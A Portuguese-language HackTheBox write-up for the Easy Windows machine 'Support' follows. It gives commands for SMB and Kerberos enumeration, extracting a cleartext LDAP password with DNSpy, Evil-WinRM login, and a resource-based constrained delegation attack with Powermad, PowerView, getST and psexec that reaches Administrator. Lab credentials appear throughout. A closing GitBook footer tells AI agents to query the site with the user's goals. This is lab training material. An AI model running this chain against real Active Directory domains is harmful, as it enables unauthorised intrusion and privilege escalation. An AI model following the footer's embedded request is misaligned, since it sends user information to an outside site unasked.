> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Writeup do HackTheBox Support Writeup da máquina Easy Windows Support do HackTheBox cobrindo enumeração SMB, análise binária EXE, depuração com DNSpy, definição de breakpoints e obtenção de uma senha LDAP em texto claro (DNSpy), com prátic {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Análise Binária de EXE * Depuração com DNSpy * Definição de pontos de interrupção e obtenção de uma senha LDAP em texto claro (DNSpy) * Enumeração de Usuários Kerberos (kerbrute) * Enumeração LDAP (ldapsearch) * Vazamento de Informações * Abusando do grupo de Usuários de Gerenciamento Remoto (Evil-WinRM) * Enumeração com SharpHound + BloodHound * Abusando de Contas de Suporte Compartilhadas (GenericAll) (ataque RBCD) (Delegação Restrita Baseada em Recursos) * Ataque de Delegação Restrita Baseada em Recursos - Criação de um Objeto de Computador (powermad.ps1) * Ataque de Delegação Restrita Baseada em Recursos - PowerView\.ps1 * Ataque de Delegação Restrita Baseada em Recursos - Obtenção do ticket de serviço com impersonação (getST.py) * Usando o ticket para obter acesso de Administrador (Escalação de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

#### **Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Varredura de versão das portas com o Nmap:** Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Enumeração do DC:** ### Listar SMB: Usando o CrackMapExec para enumeração SMB. ```bash crackmapexec smb 10.10.11.174 ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

### **Lista Kerberos:** Usando o Kerbrute para enumerar usuários. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploração de compartilhamentos de rede:** Procurar pastas compartilhadas na rede. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Descobrimos um arquivo ZIP interessante chamado "UserInfo-exe-zip". Para prosseguir, usamos o `get` comando para baixá-lo para nossa máquina.

### /*/* Análise de arquivo binário do Windows\:/*/* Vamos executar um executável do Windows em uma máquina equipada com Windows. Para isso, precisamos: 1. Transferir arquivo ZIP

2. Migração da Configuração da VPN 3. `/etc/hosts` Configuração

Para executar o binário e identificar todos os usuários válidos, basta inserir o seguinte comando ```bash ./UserInfo.exe find -first * -last * ``` #### Este binário nos permitirá listar usuários.

#### Análise do arquivo binário do Windows baixado com DNspy. {% embed url="" %}

### **Extração de uma senha em texto claro:** Usando o DNspy para extrair uma senha em texto claro de um binário do Windows.

Executaremos o programa, mas pausaremos apenas na seção em que o texto estiver em claro.

Aqui está a senha LDAP:

### **Verificação da senha LDAP:** Verificando a senha extraída com o CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Lista do domínio: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Usuários do domínio ``` enumdomusers ```

#### Grupos do domínio ```bash enumdomgroups ```

#### Descrições dos usuários: ```bash querydispinfo ```

#### Inserir todos os usuários válidos do domínio em um arquivo. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Agora vamos verificar se a senha LDAP é reutilizada por um dos seguintes usuários: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` No entanto, isso não funciona.

### **Listagem de LDAP:** {% embed url="" %} #### Usando pesquisa LDAP para enumerar informações. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Há muitos dados disponíveis; porém, ao aplicar um filtro nas informações da música, é descoberta uma senha para o usuário support. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Exploração:** #### Use o CrackMapExec para confirmar a senha associada à conta support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Este usuário faz parte do grupo de usuários de gerenciamento remoto, permitindo que nos conectemos via Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Uso do Evil-WinRM:** Conectar ao sistema alvo via Evil-WinRM usando as informações identificadas obtidas.

## Escalada de Privilégios ### **Revisão dos privilégios atuais:**
Usando o `whoami /priv` comando para verificar os privilégios do usuário, sem sucesso.

### **Análise dos grupos de associação:** Usando o `net user support` comando para inspecionar os grupos aos quais o usuário pertence. Descoberta de um grupo aparentemente raro, "shared support accounts".

### **Uso do BloodHound para Análise de Privilégios:** #### Usando a ferramenta BloodHound para mapear relações de acesso. {% embed url="" %}

### **Execução do SharpHound para análise adicional:** Usando o SharpHound, uma ferramenta complementar ao BloodHound, para coletar dados adicionais sobre relações de acesso. ```powershell ./SharpHound.exe -c All ```

## Vulnerabilidade: ataque de Delegação Restrita Baseada em Recursos: {% embed url="" %} ### **Identificação da vulnerabilidade: ataque de Delegação Restrita Baseada em Recursos:**

#### Implantação do script Powermad para criar uma conta de máquina. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Usando o PowerView para verificar a criação da conta de máquina. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definição de autorizações para a conta de máquina usando comandos do PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Com este comando, verificamos se todo o procedimento 'Get-DomainComputer dc' funciona usando as propriedades 'msds-allowedtoactonbehalfofotheridentity'.

### **Exploração da vulnerabilidade** #### Usando a ferramenta Impacket para executar o `getST` comando para obter um ticket TGT que se passa pelo usuário Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configure o ambiente Kerberos do Administrator exportando `KRB5CCNAME`, então conecte-se ao sistema alvo usando o Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Flag final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.